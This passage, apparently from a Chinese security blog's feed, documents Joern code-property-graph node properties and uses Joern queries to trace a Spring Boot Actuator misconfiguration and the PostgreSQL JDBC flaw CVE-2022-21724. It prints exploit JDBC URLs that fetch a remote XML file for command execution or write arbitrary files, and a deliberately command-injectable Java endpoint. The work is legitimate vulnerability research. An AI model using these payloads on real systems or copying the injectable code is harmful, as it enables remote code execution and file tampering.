文件</h2><ul><li>astOut：file节点通过ast边指向的节点列表</li><li>comment：file节点对应的comment节点</li><li>_importViaAstOut：file节点对应的import节点</li><li>_namespaceBlockViaAstOut：file节点对应namespace节点</li><li>containsOut：file节点包含的节点列表</li><li>_methodViaContainsOut：file节点包含的method节点列表</li><li>_typeDeclViaContainsOut：file节点包含的类定义节点列表</li><li>sourceFileIn：通过SOURCE_FILE边连接到当前节点的节点列表</li><li>method：通过SOURCE_FILE边连接到当前节点的method节点列表</li><li>namespaceBlock：通过SOURCE_FILE边连接到当前节点的namespaceBlock节点列表</li><li>typeDecl：通过SOURCE_FILE边连接到当前节点的typeDecl节点列表</li></ul><h2 id="method-方法"><a href="#method-方法" class="headerlink" title="method 方法"></a>method 方法</h2><ul><li>astOut：通过ast边指向的节点列表</li><li>_annotationViaAstOut：通过ast边指向的annotation节点列表</li><li>_methodViaCallOut：call调用的对应method节点</li><li>block：method节点下对应的block节点</li><li>parameter：method节点对应参数节点列表</li><li>_methodParameterOutViaAstOut：method对应的METHOD_PARAMETER_OUT节点</li><li>methodReturn：method节点对应的return节点列表</li><li>_modifierViaAstOut：method节点对应的modifier修饰词</li><li>_typeDeclViaAstOut：method节点对应的class节点</li><li>cfgOut：通过cfg边指向的节点列表</li><li>cfgFirst：通过cfg边指向的第一个节点</li><li>containsOut：method通过contains边指向的节点列表</li><li>_blockViaContainsOut：method通过contains边指向的block节点列表</li><li>_callViaContainsOut：method通过contains边指向的call节点列表</li><li>_controlStructureViaContainsOut：method通过contains边指向的条件节点列表</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_namespaceBlockViaAstIn：通过ast边指向当前节点的namespaceBlock节点列表</li><li>_typeDeclViaAstIn：通过ast边指向当前节点的类定义节点列表</li><li>callIn：当前method节点的对应call调用节点</li><li>cfgIn：通过cfg边指向当前节点的节点列表</li><li>containsIn：包含当前节点的节点列表，通过contains边指向当前节点</li><li>_fileViaContainsIn：包含当前节点的file节点</li><li>_typeDeclViaContainsIn：包含当前节点的类定义节点</li></ul><h2 id="namespace-命名空间"><a href="#namespace-命名空间" class="headerlink" title="namespace 命名空间"></a>namespace 命名空间</h2><p>joern中命名空间分为namespace和namespaceBlock两个节点，file-&gt;namespaceBlock-&gt;namespace，所以这两个节点可以混在一起讲</p><ul><li>Namespace._namespaceBlockViaRefIn：指向namespace的namespaceBlock节点</li><li>NamespaceBlock._namespaceViaRefOut：bock对应的namespace节点</li><li>NamespaceBlock.astOut：namespaceBlock节点通过ast边指向的节点</li><li>NamespaceBlock._methodViaAstOut：通过ast边指向的method节点</li><li>NamespaceBlock._typeDeclViaAstOut：通过ast边指向的class类定义节点</li><li>NamespaceBlock.sourceFileOut：namespace对应的file节点</li><li>NamespaceBlock._fileViaSourceFileOut：namespace对应的file节点</li><li>NamespaceBlock.astIn：通过ast边指向当前节点的节点列表</li><li>NamespaceBlock._fileViaAstIn：通过ast边指向当前节点的file节点列表</li></ul><h2 id="parameter-参数"><a href="#parameter-参数" class="headerlink" title="parameter 参数"></a>parameter 参数</h2><p>parameter在joern被定义为，函数定义的参数，而不是函数调用的参数，所以这个节点几乎只和method节点链接</p><ul><li>astOut：通过ast边指向的节点列表</li><li>typ：参数节点对应的类型</li><li>parameterLinkOut：参数节点对应的返回节点列表</li><li>method：参数节点对应的method节点</li></ul><h2 id="ret-返回值"><a href="#ret-返回值" class="headerlink" title="ret 返回值"></a>ret 返回值</h2><p>return对应method节点的返回</p><ul><li>argumentOut：通过argument边指向的节点列表</li><li>astOut：通过ast边指向的节点列表</li><li>_blockViaAstOut：通过ast边指向的block节点列表</li><li>_callViaAstOut：通过ast边指向的call节点列表</li><li>_controlStructureViaAstOut：通过ast边指向的条件分支节点列表</li><li>_identifierViaAstOut：通过ast边指向的变量列表</li><li>_returnViaAstOut：通过ast边指向的return节点列表</li><li>_methodReturnViaCfgOut：return节点对应的method节点</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_callViaAstIn：通过ast边指向当前节点的call节点列表</li><li>_controlStructureViaAstIn：通过ast边指向当前节点的条件分支节点列表</li><li>cfgIn：通过cfg边指向当前节点的节点列表</li><li>containsIn：包含当前节点的节点列表，通过contains边指向当前节点</li><li>_methodViaContainsIn：包含当前节点的method节点</li><li>conditionIn：和当前节点有直接关系的条件节点</li><li>_controlStructureViaConditionIn：和当前节点有直接关系的条件节点</li></ul><h2 id="TypeDecl-类定义"><a href="#TypeDecl-类定义" class="headerlink" title="TypeDecl 类定义"></a>TypeDecl 类定义</h2><p>TypeDecl等于常规意义上class的概念</p><ul><li>astOut：通过ast边指向的节点列表</li><li>_annotationViaAstOut：通过ast边指向的annotation节点列表</li><li>_memberViaAstOut：通过ast边指向的member变量列表</li><li>_methodViaAstOut：通过ast边指向的method节点列表</li><li>_typeDeclViaAstOut：通过ast边指向的class类定义节点</li><li>_methodViaContainsOut：类节点下包含的方法节点</li><li>inheritsFromOut：继承自的class类定义节点</li><li>sourceFileOut：当前节点所属的file节点</li><li>_fileViaSourceFileOut：当前节点所属的file节点</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_methodViaAstIn：通过ast边指向当前节点的method节点列表</li><li>namespaceBlock：通过ast边指向当前节点的namespaceBlock节点列表</li><li>_typeDeclViaAstIn：通过ast边指向当前节点的class类定义节点</li></ul><h1 id="特殊语法关系"><a href="#特殊语法关系" class="headerlink" title="特殊语法关系"></a>特殊语法关系</h1><h2 id="method方法特殊语法"><a href="#method方法特殊语法" class="headerlink" title="method方法特殊语法"></a>method方法特殊语法</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping</span>(<span class="string">"/codeinject"</span>)</span><br><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">codeInject</span><span class="params">(String filepath)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line"></span><br><span class="line">    String[] cmdList = <span class="keyword">new</span> String[]&#123;<span class="string">"sh"</span>, <span class="string">"-c"</span>, <span class="string">"ls -la "</span> + filepath&#125;;</span><br><span class="line">    ProcessBuilder builder = <span class="keyword">new</span> ProcessBuilder(cmdList);</span><br><span class="line">    builder.redirectErrorStream(<span class="keyword">true</span>);</span><br><span class="line">    Process process = builder.start();</span><br><span class="line">    <span class="keyword">return</span> WebUtils.convertStreamToString(process.getInputStream());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>caller</li></ul><p>当前节点的调用位置方法，比如<code>cpg.method(&quot;start&quot;).caller</code>就会返回codeInject方法</p><ul><li>callIn</li></ul><p>当前方法/函数节点的调用位置，比如<code>cpg.method(&quot;start&quot;).callIn</code>就会返回调用start方法的call节点</p><ul><li>cpg.method(“start”)</li></ul><p>名为start的方法的定义节点</p><h2 id="读取向外的所有边"><a href="#读取向外的所有边" class="headerlink" title="读取向外的所有边"></a>读取向外的所有边</h2><ul><li>cpg.method.head.outE.map(n=&gt;n.label).l</li></ul><p>获取当前节点向外所有的边，并展示边类型</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310231821493.png" alt="image-20231023182018337"></p><ul><li>cpg.method.head.outE.map(n=&gt;n.inNode).l</li></ul><p>获取当前节点向外所有的边，并展示连接到的节点</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310231821093.png" alt="image-20231023182055115"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在深入了解Joern的源码以及设计的时候发现Joern其实实现了很多不常用语法，很多文档中没提到的东西，其实都有比较简洁实用的方式，但也从源码的设计中发现，其实Joern的设计理念也有很多问题，这个我们以后再写到。&lt;/p&gt;
&lt;p&gt;本篇内容可以结合&lt;a href=&quot;https://cpg.joern.io/食用&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://cpg.joern.io/食用&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
  </entry>
  
  <entry>
    <title>Joern In RealWorld (1) - Acutators + CVE-2022-21724</title>
    <link href="https://lorexxar.cn/2023/08/31/joerninrw/"/>
    <id>https://lorexxar.cn/2023/08/31/joerninrw/</id>
    <published>2023-08-31T09:06:53.000Z</published>
    <updated>2023-08-31T09:24:30.000Z</updated>
    
    <content type="html"><![CDATA[<p>这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。</p><p>这里我选用<strong>Java-sec-code的范例代码</strong>做第一部分，这篇文章记录了两个比较经典的漏洞</p><ul><li><strong>Springboot Acutators导致命令执行</strong></li><li><strong>postgreSQL jdbc反序列化漏洞(CVE-2022-21724)</strong></li></ul><p>Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">importCode(&quot;..&#x2F;..&#x2F;java-sec-code&#x2F;target&#x2F;java-sec-code-1.0.0.jar&quot;)</span><br></pre></td></tr></table></figure><a id="more"></a><h1 id="Springboot-Acutators配置问题"><a href="#Springboot-Acutators配置问题" class="headerlink" title="Springboot Acutators配置问题"></a>Springboot Acutators配置问题</h1><ul><li><a href="https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference" target="_blank" rel="noopener">https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference</a></li><li><a href="https://github.com/LandGrey/SpringBootVulExploit#0x01路由地址及接口调用详情泄漏" target="_blank" rel="noopener">https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F</a></li><li><a href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators" target="_blank" rel="noopener">https://www.veracode.com/blog/research/exploiting-spring-boot-actuators</a></li></ul><p><strong>SpringBoot Actuator是SpringBoot内置的一个监控管理插件。</strong>只要引用组件就会开启对应的功能</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-boot-starter-web&lt;&#x2F;artifactId&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br><span class="line"></span><br><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-boot-starter-actuator&lt;&#x2F;artifactId&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br></pre></td></tr></table></figure><p>开启后<strong>SpringBoot 1.x起始路径为</strong><code>/</code><strong>，2.x的起始路径为</strong><code>/actuator</code></p><p>暴露路由本身不能算太大的安全问题，只能说<strong>配置不当可能导致信息泄露</strong>，可以参<a href="https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt" target="_blank" rel="noopener">spring-boot.txt</a>。</p><p>Actuator的接口配合一些组件就可能导致RCE，但防御的方法大多都是<strong>对Actuator做鉴权限制</strong>。</p><ul><li><strong>Actuators + jolokia</strong></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- SpringBoot Actuator命令执行的库 --&gt;</span><br><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.jolokia&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;jolokia-core&lt;&#x2F;artifactId&gt;</span><br><span class="line">    &lt;version&gt;1.6.0&lt;&#x2F;version&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br></pre></td></tr></table></figure><p>配合jolokia的接口可以实现jndi注入导致RCE</p><ul><li><strong>Actuators + Spring Cloud</strong></li><li><a href="https://www.freebuf.com/column/234719.html" target="_blank" rel="noopener">https://www.freebuf.com/column/234719.html</a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;dependency&gt;</span><br><span class="line">    &lt;groupId&gt;org.springframework.cloud&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-cloud-starter-netflix-eureka-client&lt;&#x2F;artifactId&gt;</span><br><span class="line">    &lt;version&gt;1.4.0.RELEASE&lt;&#x2F;version&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br></pre></td></tr></table></figure><p>首先组件上引用eureka才行，并且<strong>Eureka-Client &lt;1.8.7</strong>（多见于Spring Cloud Netflix）</p><p>其次需要Application要有<code>@EnableEurekaClient</code>注解</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">import org.springframework.boot.SpringApplication;</span><br><span class="line">import org.springframework.boot.autoconfigure.SpringBootApplication;</span><br><span class="line">import org.springframework.cloud.netflix.eureka.EnableEurekaClient;</span><br><span class="line"></span><br><span class="line">@SpringBootApplication</span><br><span class="line">@EnableEurekaClient</span><br><span class="line">public class Application &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        SpringApplication.run(Application.class, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="for-Joern"><a href="#for-Joern" class="headerlink" title="for Joern"></a>for Joern</h2><p>我首先遇到的问题就是，这个漏洞其实<strong>配置问题大于其他问题</strong>，我研究了很久认为这个问题在Joern中是不可解的。</p><p>一方面Acutators开启只需要组件引用即可，另一方面比较常见的修复手段是增加鉴权，<strong>加入鉴权组件并开启配置</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># pom.xml</span><br><span class="line">&lt;dependency&gt;</span><br><span class="line">&lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-boot-starter-security&lt;&#x2F;artifactId&gt;</span><br><span class="line">&lt;&#x2F;dependency&gt;</span><br><span class="line"></span><br><span class="line"># for application.properties</span><br><span class="line">management.security.enabled&#x3D;true</span><br><span class="line">security.user.name&#x3D;admin</span><br><span class="line">security.user.password&#x3D;admin</span><br></pre></td></tr></table></figure><p>哪怕不是用这个鉴权组件但也大同小异，关闭敏感端点之类的。</p><p>而问题回到Joern上，Joern虽然定义了ConfigFile节点，但<strong>并没有读取所有的配置文件</strong>，包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722503.png" alt="img"></p><p>即便是读取了<strong>application.properties</strong>这个文件，但ConfigFile节点只有文件内容，并没有<strong>对所有的配置做分析转化</strong>。而且有时候configFile就是完全空的，也不知道问题在哪。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722781.png" alt="img"></p><p>这个处理方式虽然很奇怪但也算能理解，<strong>Joern作为一个静态分析代码的框架</strong>，他的理念就是把上层和下层做拆分，<strong>下层只需要把代码转成CPG，上层只需要在CPG上做数据分析。</strong></p><p>对于Joern来说，上层和下层没有直通渠道，非代码层面的信息则会被忽略掉，而专注于代码层面，这是Joern的设计理念，但同样是Joern的局限性。</p><ul><li>一方面由于<strong>没有pom.xml的数据</strong>，所以无法判断Acutators是否开启，且无法判断版本。</li><li>从SpringBoot 2.X开始，端点默认只暴露health和info，需要<strong>从配置文件里获取开启的端点</strong>，不一定能读到这个配置文件内容</li><li>Acutators这个问题核心其实是不能<strong>未授权+向公网暴露</strong>，而这个鉴权配置也是从配置文件里读到的</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.configFile.name(&quot;.*application.properties&quot;).where(_.content(&quot;.*management.security.enabled&#x3D;false.*&quot;)).l</span><br></pre></td></tr></table></figure><ul><li><strong>Acutators暴露的实际影响其实和依赖的组件</strong>有关系，比如配合eureka才有xtream反序列漏洞，而没有依赖组件数据，所以也无从判断。</li></ul><h1 id="postgreSQL-jdbc反序列化漏洞-CVE-2022-21724"><a href="#postgreSQL-jdbc反序列化漏洞-CVE-2022-21724" class="headerlink" title="postgreSQL jdbc反序列化漏洞(CVE-2022-21724)"></a>postgreSQL jdbc反序列化漏洞(CVE-2022-21724)</h1><ul><li><a href="https://xz.aliyun.com/t/11812" target="_blank" rel="noopener">https://xz.aliyun.com/t/11812</a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">9.4.1208 &lt;&#x3D; org.postgresql.postgresql &lt; 42.2.25</span><br><span class="line">42.3.0 &lt;&#x3D; org.postgresql.postgresql &lt; 42.3.2</span><br></pre></td></tr></table></figure><p>当<strong>PostgreSQL的jdbc url属性</strong>可控时，可以通过<code>authenticationPluginClassName</code>、<code>sslhostnameverifier</code>、<code>socketFactory</code>、<code>sslfactory</code>、<code>sslpasswordcallback</code> 连接属性提供<strong>类名实例化插件实例</strong>。</p><ul><li>漏洞代码</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">@RequestMapping(&quot;&#x2F;postgresql&quot;)</span><br><span class="line">public void postgresql(String jdbcUrlBase64) throws Exception&#123;</span><br><span class="line">    byte[] b &#x3D; java.util.Base64.getDecoder().decode(jdbcUrlBase64);</span><br><span class="line">    String jdbcUrl &#x3D; new String(b);</span><br><span class="line">    log.info(jdbcUrl);</span><br><span class="line">    DriverManager.getConnection(jdbcUrl);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其实漏洞点的Joern的公式特别简单，说白了就是<strong>只要jdbc的连接链接可控</strong>就行了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def source &#x3D; cpg.method.where(_.annotation.name(&quot;.*Mapping&quot;)).parameter</span><br><span class="line"></span><br><span class="line">def sink &#x3D; cpg.call.name(&quot;getConnection&quot;)</span><br></pre></td></tr></table></figure><p>直接寻找source和sink之间的数据流</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722453.png" alt="img"></p><p>可以发现我们找到了包括目标在内的5条数据流，这里的第一个问题是，我们没法确定<strong>jdbc是否支持postgreSQL</strong>来作为数据库。</p><p>在确定了<strong>入口可控</strong>之后，<strong>理论上配合组件版本</strong>其实我们就可以判断代码中是否存在该问题了，但我们并没有这个数据。</p><h2 id="for-PostgreSQL-code"><a href="#for-PostgreSQL-code" class="headerlink" title="for PostgreSQL code"></a>for PostgreSQL code</h2><p>当然在静态分析的层面，我们需要从代码的角度验证漏洞存在，我们遇到的第二个问题自然是<strong>利用链的问题</strong>，所以我们需要直接去<strong>分析postgresql的组件代码</strong>。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">importCode(&quot;D:&#x2F;program&#x2F;java_pro&#x2F;postgresql-42.3.1.jar&quot;, &quot;postgresql&quot;)</span><br></pre></td></tr></table></figure><p>当我们可控jdbc的连接的时候，我们就可以通过<strong>构造类似的请求来调用不同类的方法</strong>来实现我们想要的结果。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"># 命令执行</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?socketFactory&#x3D;org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg&#x3D;http:&#x2F;&#x2F;test.joychou.org&#x2F;1.xml</span><br><span class="line"></span><br><span class="line"># 配合FileOutputStream操作文件</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?socketFactory&#x3D;java.io.FileOutputStream&amp;socketFactoryArg&#x3D;test.txt</span><br><span class="line"></span><br><span class="line"># sslfactory&amp;sslfactroyarg，任意代码执行</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test&#x2F;?sslfactory&#x3D;org.spring.framework.context.support.ClassPathXmlApplicationContext&amp;sslfactoryarg&#x3D;http:&#x2F;&#x2F;test.joychou.org&#x2F;1.xml</span><br><span class="line"></span><br><span class="line"># loggerLevel&amp;loggerFile，任意文件写</span><br><span class="line">jdbc:postgresql:&#x2F;&#x2F;127.0.0.1:5432&#x2F;test?loggerLevel&#x3D;debug&amp;loggerFile&#x3D;test.txt&amp;test</span><br></pre></td></tr></table></figure><p>这里具体的利用链我们就不重复讲了，可以直接参考上面的链接，重要的是<strong>我们怎么在joern中复现这个问题。</strong></p><p>我们拿<strong>第一个漏洞socketFactory&amp;socketFactoryArg的利用链</strong>作为目标来看看</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722796.png" alt="img"></p><p>从getConnection方法处，j<strong>dbc会根据不同的请求分发至不同的组件</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722079.png" alt="img"></p><p><strong>从connect方法一路跟进org.postgresql的代码</strong>当中，<strong>链接之后的参数会被拆解为字典</strong>然后分别进入不同的配置中，也就是说等于到url这里我们就是可控的，也就是作为source，<strong>进到包里的这个入口是connect方法</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722400.png" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">def source &#x3D; cpg.method.name(&quot;connect&quot;)</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722952.png" alt="img">最终<strong>导致漏洞的核心点则是可控的newInstance</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311722885.png" alt="img"></p><p>所以我们假定<strong>调用方法newInstance是sink点</strong>，<strong>可以用caller获取调用该方法的地方</strong>，也是可以读到我们目标类方法的。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723923.png" alt="img"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">def sink &#x3D; cpg.method.name(&quot;newInstance&quot;)</span><br></pre></td></tr></table></figure><p>到这里我们会遇到一个比较大的问题，当我们<strong>试图用简单的reachableByFlows时</strong>，会无法获取到结果。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723926.png" alt="img"></p><p>但如果我们<strong>手动去一步一步拆解caller，发现是可以一路跟到source节点的。</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name(&quot;newInstance&quot;).repeat(_.caller)(_.maxDepth(10)).name(&quot;connect&quot;).fullName.dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723832.png" alt="img"></p><p>repeat这个语法问题相当多，<strong>如果用repeat…until…这个语法，很大概率会卡死</strong>，几乎跑realworld代码没有不卡死的，所以我改用了<strong>限制maxDepth+条件判断的方式</strong>来查询，还算可以解决。</p><p>当然这样只能拿到最终的节点，我们可以<strong>用一个文档里没写的overflowdb语法enablePathTracking来展示调用链，这部分内容我是从@Lightless的博客偷来的。</strong></p><ul><li><a href="https://lightless.me/archives/analyze-apache-commons-text-with-joern.html" target="_blank" rel="noopener">https://lightless.me/archives/analyze-apache-commons-text-with-joern.html</a></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method.name(&quot;newInstance&quot;).enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name(&quot;connect&quot;).path.map(path&#x3D;&gt;path.filter(n&#x3D;&gt;n.isInstanceOf[Method]).map(n&#x3D;&gt;&#123;val nn &#x3D; n.asInstanceOf[Method];nn.fullName&#125;)).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202308311723885.png" alt="img"></p><p>当然，<strong>由于enablePathTracking的表现力很差，所以我们也可以用自己实现一套repeat，来解决重复调用等各种问题</strong>，这个代码同样来自于@LightLess。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] &#x3D; &#123;</span><br><span class="line">    var nextBuffer: List[Vector[Method]] &#x3D; List()</span><br><span class="line">    var finalResult: List[Vector[Method]] &#x3D; List()</span><br><span class="line">    var results: List[Vector[Method]] &#x3D; List()</span><br><span class="line">    val stopList &#x3D; stopStep.l</span><br><span class="line">    val stopIdList &#x3D; stopList.map(n &#x3D;&gt; n.id).l</span><br><span class="line">    println(&quot;stopList.size:&quot; + stopList.size)</span><br><span class="line">    println(&quot;stopIdList: &quot; + stopIdList)</span><br><span class="line"></span><br><span class="line">    for (idx &lt;- 1 to maxIdx) &#123;</span><br><span class="line">        &#x2F;&#x2F; 第一次查找，使用初始条件作为起始</span><br><span class="line">        if (idx &#x3D;&#x3D; 1) &#123;</span><br><span class="line">            for (it &lt;- initStep) &#123;</span><br><span class="line">                finalResult &#x3D; finalResult :+ Vector(it)</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        &#x2F;&#x2F; 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller</span><br><span class="line">        for (eachPath &lt;- finalResult) &#123;</span><br><span class="line">            </span><br><span class="line">            var eachPathIdList &#x3D; eachPath.filter(n &#x3D;&gt; n.isInstanceOf[Method]).map(n &#x3D;&gt; &#123;</span><br><span class="line">                n.asInstanceOf[Method].id</span><br><span class="line">            &#125;).l</span><br><span class="line"></span><br><span class="line">            var newNodes &#x3D; eachPath.last.asInstanceOf[Method].caller.dedup</span><br><span class="line">            for (newNode &lt;- newNodes) &#123;</span><br><span class="line">                &#x2F;&#x2F; 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中</span><br><span class="line">                if (!eachPathIdList.contains(newNode.id)) &#123;</span><br><span class="line">                    val newPath &#x3D; eachPath :+ newNode</span><br><span class="line">                    nextBuffer &#x3D; nextBuffer :+ newPath</span><br><span class="line"></span><br><span class="line">                    &#x2F;&#x2F; 检查是否满足终结条件，如果满足，就加到resutls里</span><br><span class="line">                    if (stopIdList.contains(newNode.id)) &#123;</span><br><span class="line">                        results &#x3D; results :+ newPath</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        